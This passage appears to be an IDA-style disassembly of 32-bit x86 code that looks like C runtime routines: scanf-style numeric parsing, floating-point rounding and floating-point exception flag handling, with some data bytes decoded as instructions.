loc_4244AC:				; CODE XREF: sub_4236C0+DE3j
					; sub_4236C0+E82j
		cmp	dword_447480, 1
		jle	short loc_4244CE
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_218], eax
		jmp	short loc_4244E8
; ---------------------------------------------------------------------------


loc_4244CE:				; CODE XREF: sub_4236C0+DF3j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_218], ecx


loc_4244E8:				; CODE XREF: sub_4236C0+E0Cj
		cmp	[ebp+var_218], 0
		jz	short loc_424547
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		test	edx, edx
		jz	short loc_424547
		mov	ecx, [ebp+var_6C]
		add	ecx, 1
		mov	[ebp+var_6C], ecx
		mov	edx, [ebp+var_1E0]
		mov	al, byte ptr [ebp+var_1D8]
		mov	[edx], al
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_4244AC
; ---------------------------------------------------------------------------


loc_424547:				; CODE XREF: sub_4236C0+E2Fj
					; sub_4236C0+E3Fj
		movsx	ecx, byte_447484
		movsx	edx, byte ptr [ebp+var_1D8]
		cmp	ecx, edx
		jnz	loc_424644
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	loc_424644
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	ecx, [ebp+var_1E0]
		mov	dl, byte_447484
		mov	[ecx], dl
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax


loc_4245A9:				; CODE XREF: sub_4236C0+F7Fj
		cmp	dword_447480, 1
		jle	short loc_4245CB
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_21C], eax
		jmp	short loc_4245E5
; ---------------------------------------------------------------------------


loc_4245CB:				; CODE XREF: sub_4236C0+EF0j
		mov	edx, [ebp+var_1D8]
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_21C], ecx


loc_4245E5:				; CODE XREF: sub_4236C0+F09j
		cmp	[ebp+var_21C], 0
		jz	short loc_424644
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		test	edx, edx
		jz	short loc_424644
		mov	ecx, [ebp+var_6C]
		add	ecx, 1
		mov	[ebp+var_6C], ecx
		mov	edx, [ebp+var_1E0]
		mov	al, byte ptr [ebp+var_1D8]
		mov	[edx], al
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_4245A9
; ---------------------------------------------------------------------------


loc_424644:				; CODE XREF: sub_4236C0+E97j
					; sub_4236C0+EABj ...
		cmp	[ebp+var_6C], 0
		jz	loc_4247A9
		cmp	[ebp+var_1D8], 65h
		jz	short loc_424664
		cmp	[ebp+var_1D8], 45h
		jnz	loc_4247A9


loc_424664:				; CODE XREF: sub_4236C0+F95j
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		test	ecx, ecx
		jz	loc_4247A9
		mov	eax, [ebp+var_1E0]
		mov	byte ptr [eax],	65h
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_4246CE
		mov	ecx, [ebp+var_1E0]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		jmp	short loc_4246D7
; ---------------------------------------------------------------------------


loc_4246CE:				; CODE XREF: sub_4236C0+FF2j
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42470D


loc_4246D7:				; CODE XREF: sub_4236C0+100Cj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jnz	short loc_4246F2
		mov	edx, [ebp+var_1C]
		add	edx, 1
		mov	[ebp+var_1C], edx
		jmp	short loc_42470D
; ---------------------------------------------------------------------------


loc_4246F2:				; CODE XREF: sub_4236C0+1025j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42470D:				; CODE XREF: sub_4236C0+1015j
					; sub_4236C0+1030j ...
		cmp	dword_447480, 1
		jle	short loc_42472F
		push	4
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_220], eax
		jmp	short loc_42474A
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_4236C0+1054j
		mov	eax, [ebp+var_1D8]
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_220], edx


loc_42474A:				; CODE XREF: sub_4236C0+106Dj
		cmp	[ebp+var_220], 0
		jz	short loc_4247A9
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	short loc_4247A9
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx
		mov	eax, [ebp+var_1E0]
		mov	cl, byte ptr [ebp+var_1D8]
		mov	[eax], cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	loc_42470D
; ---------------------------------------------------------------------------


loc_4247A9:				; CODE XREF: sub_4236C0+F88j
					; sub_4236C0+F9Ej ...
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_424B60
		add	esp, 8
		cmp	[ebp+var_6C], 0
		jz	short loc_424803
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_424801
		mov	eax, [ebp+var_34]
		add	eax, 1
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_1E0]
		mov	byte ptr [ecx],	0
		lea	edx, [ebp+var_1D0]
		push	edx
		mov	eax, [ebp+var_3C]
		push	eax
		movsx	ecx, [ebp+var_38]
		sub	ecx, 1
		push	ecx
		call	off_447840
		add	esp, 0Ch


loc_424801:				; CODE XREF: sub_4236C0+1111j
		jmp	short loc_424808
; ---------------------------------------------------------------------------


loc_424803:				; CODE XREF: sub_4236C0+1109j
		jmp	loc_4249AA
; ---------------------------------------------------------------------------


loc_424808:				; CODE XREF: sub_4236C0:loc_424801j
		jmp	short loc_424854
; ---------------------------------------------------------------------------


loc_42480A:				; CODE XREF: sub_4236C0+3B0j
					; sub_4236C0+3C4j
					; DATA XREF: ...
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, [ebp+var_1D8]
		jz	short loc_42483A
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_424B60
		add	esp, 8
		jmp	loc_4249AA
; ---------------------------------------------------------------------------


loc_42483A:				; CODE XREF: sub_4236C0+1157j
		mov	cl, [ebp+var_28]
		sub	cl, 1
		mov	[ebp+var_28], cl
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_424854
		mov	eax, [ebp+var_1D4]
		mov	[ebp+arg_8], eax


loc_424854:				; CODE XREF: sub_4236C0:loc_423EB6j
					; sub_4236C0:loc_42441Dj ...
		mov	cl, [ebp+var_28]
		add	cl, 1
		mov	[ebp+var_28], cl
		jmp	short loc_424880
; ---------------------------------------------------------------------------


loc_42485F:				; CODE XREF: sub_4236C0+38Bj
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_424B60
		add	esp, 8
		jmp	loc_4249AA
; ---------------------------------------------------------------------------


loc_424880:				; CODE XREF: sub_4236C0+119Dj
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		jmp	loc_424981
; ---------------------------------------------------------------------------


loc_42488E:				; CODE XREF: sub_4236C0+11Dj
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	esi, edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	ecx, [ebp+var_1D8]
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		cmp	esi, ecx
		jz	short loc_4248E6
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_424B60
		add	esp, 8
		jmp	loc_4249AA
; ---------------------------------------------------------------------------


loc_4248E6:				; CODE XREF: sub_4236C0+1203j
		mov	eax, [ebp+var_1D8]
		and	eax, 0FFh
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_424981
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	esi, edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_1F4], eax
		mov	ecx, [ebp+var_1F4]
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		cmp	esi, ecx
		jz	short loc_424978
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1F4]
		push	edx
		call	sub_424B60
		add	esp, 8
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_424B60
		add	esp, 8
		jmp	short loc_4249AA
; ---------------------------------------------------------------------------


loc_424978:				; CODE XREF: sub_4236C0+127Cj
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax


loc_424981:				; CODE XREF: sub_4236C0+11C9j
					; sub_4236C0+1245j
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jnz	short loc_4249A5
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 25h
		jnz	short loc_4249A3
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	ecx, 6Eh
		jz	short loc_4249A5


loc_4249A3:				; CODE XREF: sub_4236C0+12D4j
		jmp	short loc_4249AA
; ---------------------------------------------------------------------------


loc_4249A5:				; CODE XREF: sub_4236C0+12C8j
					; sub_4236C0+12E1j
		jmp	loc_423737
; ---------------------------------------------------------------------------


loc_4249AA:				; CODE XREF: sub_4236C0+80j
					; sub_4236C0+635j ...
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jnz	short loc_4249DE
		cmp	[ebp+var_34], 0
		jnz	short loc_4249CD
		movsx	edx, [ebp+var_28]
		test	edx, edx
		jnz	short loc_4249CD
		mov	[ebp+var_224], 0FFFFFFFFh
		jmp	short loc_4249D6
; ---------------------------------------------------------------------------


loc_4249CD:				; CODE XREF: sub_4236C0+12F7j
					; sub_4236C0+12FFj
		mov	eax, [ebp+var_34]
		mov	[ebp+var_224], eax


loc_4249D6:				; CODE XREF: sub_4236C0+130Bj
		mov	eax, [ebp+var_224]
		jmp	short loc_4249E1
; ---------------------------------------------------------------------------


loc_4249DE:				; CODE XREF: sub_4236C0+12F1j
		mov	eax, [ebp+var_34]


loc_4249E1:				; CODE XREF: sub_4236C0+131Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4236C0	endp

; ---------------------------------------------------------------------------
off_4249E8	dd offset loc_42397A	; DATA XREF: sub_4236C0+239r
		dd offset loc_423900
		dd offset loc_423918
		dd offset loc_42395C
		dd offset loc_423905
		dd offset loc_423967
		dd offset loc_42396F
		dd offset loc_423985
byte_424A08	db 0			; DATA XREF: sub_4236C0+233r
; ---------------------------------------------------------------------------
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		add	[edi], eax
		pop	es
		add	al, [edi]
		pop	es
		add	eax, [edi]
		add	[edi], eax
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		add	al, 7
		pop	es
		pop	es
		add	eax, 7070707h
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		pop	es
		push	es


loc_424A56:				; DATA XREF: sub_4236C0+3C4r
		mov	edi, [edx]
		inc	edx
		add	ah, al
		aas
		inc	edx
		add	[edi], dh
		inc	esp
		inc	edx
		add	[ebx+2200423Eh], bh
		inc	esp
		inc	edx
		add	al, al
		aas
		inc	edx
		add	cl, dl
		cmp	al, [edx+0]
		retn	423Eh
; ---------------------------------------------------------------------------
		align 2
		dd offset loc_423AF6
		dd offset loc_42480A
byte_424A7E	db 0			; DATA XREF: sub_4236C0+3BEr
		db 1
		dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h
		dd 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424AA0	proc near		; CODE XREF: sub_4236C0+9E9p
					; sub_4236C0+BCCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	dword_447480, 1
		jle	short loc_424AC2
		push	4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_424AD7
; ---------------------------------------------------------------------------


loc_424AC2:				; CODE XREF: sub_424AA0+Dj
		mov	ecx, [ebp+arg_0]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_4], eax


loc_424AD7:				; CODE XREF: sub_424AA0+20j
		cmp	[ebp+var_4], 0
		jz	short loc_424AE5
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		jmp	short loc_424AF1
; ---------------------------------------------------------------------------


loc_424AE5:				; CODE XREF: sub_424AA0+3Bj
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFFFDFh
		sub	edx, 7
		mov	[ebp+var_8], edx


loc_424AF1:				; CODE XREF: sub_424AA0+43j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_424AA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B00	proc near		; CODE XREF: sub_4236C0+370p
					; sub_4236C0+698p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jl	short loc_424B3B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		and	eax, 0FFh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_424B4A
; ---------------------------------------------------------------------------


loc_424B3B:				; CODE XREF: sub_424B00+1Aj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41FB00
		add	esp, 4
		mov	[ebp+var_4], eax


loc_424B4A:				; CODE XREF: sub_424B00+39j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_424B00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B60	proc near		; CODE XREF: sub_4236C0+ECp
					; sub_4236C0+666p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_424B79
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42ACA0
		add	esp, 8


loc_424B79:				; CODE XREF: sub_424B60+7j
		pop	ebp
		retn
sub_424B60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B80	proc near		; CODE XREF: sub_4236C0+E3p
					; sub_4236C0+353p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx


loc_424B84:				; CODE XREF: sub_424B80+30j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_424B00
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42A980
		add	esp, 4
		test	eax, eax
		jz	short loc_424BB2
		jmp	short loc_424B84
; ---------------------------------------------------------------------------


loc_424BB2:				; CODE XREF: sub_424B80+2Ej
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_424B80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_424BC0(double)

sub_424BC0	proc near		; CODE XREF: sub_419730+C3p
					; sub_419950+C3p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_424BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_424BE0(int,double,int)

sub_424BE0	proc near		; CODE XREF: sub_419730+85p
					; sub_419950+85p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_447AF0, 0
		jnz	short loc_424C14
		mov	eax, [ebp+arg_C]
		push	eax		; int
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx		; double
		push	0		; int
		push	0		; int
		mov	eax, [ebp+10h]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+arg_0]
		push	edx		; int
		push	1		; int
		call	sub_425690
		add	esp, 24h
		jmp	short loc_424C33
; ---------------------------------------------------------------------------


loc_424C14:				; CODE XREF: sub_424BE0+Aj
		call	sub_4224D0
		mov	dword ptr [eax], 21h
		push	0FFFFh
		mov	eax, [ebp+arg_C]
		push	eax
		call	sub_425B20
		add	esp, 8
		fld	qword ptr [ebp+arg_4]


loc_424C33:				; CODE XREF: sub_424BE0+32j
		pop	ebp
		retn
sub_424BE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		fld	qword ptr [ebp+0Ch]
		fadd	qword ptr [ebp+14h]
		fstp	qword ptr [ebp-8]
		cmp	dword_447AF0, 0
		jnz	short loc_424C84
		mov	eax, [ebp+1Ch]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp-8]
		push	edx
		mov	eax, [ebp+18h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		push	1
		call	sub_425690
		add	esp, 24h
		jmp	short loc_424CA3
; ---------------------------------------------------------------------------


loc_424C84:				; CODE XREF: .data:00424C56j
		call	sub_4224D0
		mov	dword ptr [eax], 21h
		push	0FFFFh
		mov	edx, [ebp+1Ch]
		push	edx
		call	sub_425B20
		add	esp, 8
		fld	qword ptr [ebp-8]


loc_424CA3:				; CODE XREF: .data:00424C82j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_424CB0(int,int,int,int,double,int)

sub_424CB0	proc near		; CODE XREF: sub_419730+B1p
					; sub_419730+129p ...

var_5C		= byte ptr -5Ch
var_24		= dword	ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	eax, [ebp+arg_18]
		push	eax
		lea	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_425310
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_424CF6
		mov	eax, [ebp+var_24]
		and	al, 0FEh
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_10]
		push	ecx
		lea	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	edx, [ebp+arg_18]
		push	edx
		lea	eax, [ebp+var_5C]
		push	eax
		call	sub_424E40
		add	esp, 18h


loc_424CF6:				; CODE XREF: sub_424CB0+1Cj
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4257B0
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	dword_447AF0, 0
		jnz	short loc_424D3E
		cmp	[ebp+var_4], 0
		jz	short loc_424D3E
		mov	edx, [ebp+arg_18]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_10+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_10]
		push	ecx		; double
		push	0		; int
		push	0		; int
		mov	edx, [ebp+arg_C]
		push	edx		; int
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, [ebp+var_4]
		push	edx		; int
		call	sub_425690
		add	esp, 24h
		jmp	short loc_424D5E
; ---------------------------------------------------------------------------


loc_424D3E:				; CODE XREF: sub_424CB0+5Cj
					; sub_424CB0+62j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_425730
		add	esp, 4
		push	0FFFFh
		mov	ecx, [ebp+arg_18]
		push	ecx
		call	sub_425B20
		add	esp, 8
		fld	[ebp+arg_10]


loc_424D5E:				; CODE XREF: sub_424CB0+8Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_424CB0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		mov	eax, [ebp+28h]
		push	eax
		lea	ecx, [ebp+20h]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_425310
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_424DCE
		mov	eax, [ebp-24h]
		or	al, 1
		mov	[ebp-24h], eax
		mov	ecx, [ebp-24h]
		and	ecx, 0FFFFFFE1h
		or	ecx, 2
		mov	[ebp-24h], ecx
		mov	edx, [ebp+18h]
		mov	[ebp-34h], edx
		mov	eax, [ebp+1Ch]
		mov	[ebp-30h], eax
		lea	ecx, [ebp+20h]
		push	ecx
		lea	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp+28h]
		push	edx
		lea	eax, [ebp-5Ch]
		push	eax
		call	sub_424E40
		add	esp, 18h


loc_424DCE:				; CODE XREF: .data:00424D8Cj
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_4257B0
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword_447AF0, 0
		jnz	short loc_424E1A
		cmp	dword ptr [ebp-4], 0
		jz	short loc_424E1A
		mov	edx, [ebp+28h]
		push	edx
		mov	eax, [ebp+24h]
		push	eax
		mov	ecx, [ebp+20h]
		push	ecx
		mov	edx, [ebp+1Ch]
		push	edx
		mov	eax, [ebp+18h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_425690
		add	esp, 24h
		jmp	short loc_424E3A
; ---------------------------------------------------------------------------


loc_424E1A:				; CODE XREF: .data:00424DE4j
					; .data:00424DEAj
		mov	edx, [ebp-4]
		push	edx
		call	sub_425730
		add	esp, 4
		push	0FFFFh
		mov	eax, [ebp+28h]
		push	eax
		call	sub_425B20
		add	esp, 8
		fld	qword ptr [ebp+20h]


loc_424E3A:				; CODE XREF: .data:00424E18j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E40	proc near		; CODE XREF: sub_424CB0+3Ep
					; .data:00424DC6p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+arg_8]
		and	eax, 10h
		test	eax, eax
		jz	short loc_424E84
		mov	[ebp+var_4], 0C000008Fh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_424E84:				; CODE XREF: sub_424E40+2Cj
		mov	ecx, [ebp+arg_8]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_424EA3
		mov	[ebp+var_4], 0C0000093h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		or	al, 2
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax


loc_424EA3:				; CODE XREF: sub_424E40+4Cj
		mov	edx, [ebp+arg_8]
		and	edx, 1
		test	edx, edx
		jz	short loc_424EC3
		mov	[ebp+var_4], 0C0000091h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx


loc_424EC3:				; CODE XREF: sub_424E40+6Bj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		test	eax, eax
		jz	short loc_424EE3
		mov	[ebp+var_4], 0C000008Eh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		or	edx, 8
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx


loc_424EE3:				; CODE XREF: sub_424E40+8Bj
		mov	ecx, [ebp+arg_8]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_424F02
		mov	[ebp+var_4], 0C0000090h
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		or	al, 10h
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax


